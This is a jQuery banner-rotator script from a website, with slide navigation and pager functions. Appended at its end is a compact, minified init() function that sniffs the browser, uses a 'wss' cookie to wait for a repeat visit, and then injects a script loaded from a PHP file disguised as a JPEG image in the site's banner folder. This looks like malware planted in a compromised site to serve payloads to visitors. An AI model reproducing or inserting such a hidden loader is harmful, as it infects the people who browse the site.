function returnA(title, first) {
    if(first)
	    return "<a href='#' class='cs_cr_navigation first'>" + title + "</a>";
    return "<a href='#' class='cs_cr_navigation'>" + title + "</a>";
}

function returnDiv(title, first) {
    if(first)
        return "<div class='cs_cr_navigation first activeSlide'>" + title + "</div>";
    return "<div class='cs_cr_navigation'>" + title + "<div class='separator'></div></div>";
}
function returnDiv2(title, first) {
    if(first)
        return "<div class='cs_cr_navigation activeSlide'><div class='value'>" + title + "</div><div class='separator2'></div></div>";
    return "<div class='cs_cr_navigation'><div class='value'>" + title + "</div><div class='separator2'></div></div>";
}

function rotateContent(type, options)
{
    jQueryCS('#rotate' + options.moduleId).show();
    if(type == 1)
    {                    
        jQueryCS('#rotate' + options.moduleId).cycle({
            fx: options.effect, 
            speed:   options.speed, 
            timeout:  options.timeout,
            pause: 1,
	        cleartypeNoBg: true,
            random: options.startRotating
        });
    }
    if(type == 2)
    {                    
        jQueryCS('#rotate' + options.moduleId).cycle({
            fx: options.effect, 
            speed:   options.speed, 
            timeout:  options.timeout,
            pause: 1,
	        cleartypeNoBg: true,
            random: options.startRotating,
            next:'.next' + options.moduleId,
            prev:'.prev' + options.moduleId,
            pager: '.cs_cr_nav' + options.moduleId,
            pagerEvent: 'click',
            pagerAnchorBuilder: function(index, DOMelement) {
                return returnA('&nbsp;&nbsp;&nbsp;&nbsp;', false); 
            }
        });
    }
    if(type == 3)
    {                    
        jQueryCS('#rotate' + options.moduleId).cycle({
            fx: options.effect, 
            speed:   options.speed, 
            timeout:  options.timeout,
            pause: 1,
	        cleartypeNoBg: true,
            random: options.startRotating,
            pager: '.cs_cr_nav' + options.moduleId,
            pagerEvent: 'click',
            pagerAnchorBuilder: function(index, DOMelement) {
                return returnDiv2(options.items[index].Title.length > 0 ? options.items[index].Title : '&nbsp;&nbsp;&nbsp;&nbsp;', index == 0); 
            },
            before: function onBefore(curr, next, opts) {
                jQueryCS(jQueryCS(opts.pager).children()).removeClass('activeSlide');
                jQueryCS(jQueryCS(opts.pager).children()[opts.nextSlide]).addClass('activeSlide');
                opts.timeout = options.isClick ? 10000 : options.timeout; 
                options.isClick = false;
            },
            pagerClick:function(zeroBasedSlideIndex, slideElement) {
                options.isClick = true;
            }
        });
    }          
}

function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/Portals/0/bannerrotatingimages/frontpage_centacare_3girls.jpg.php?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
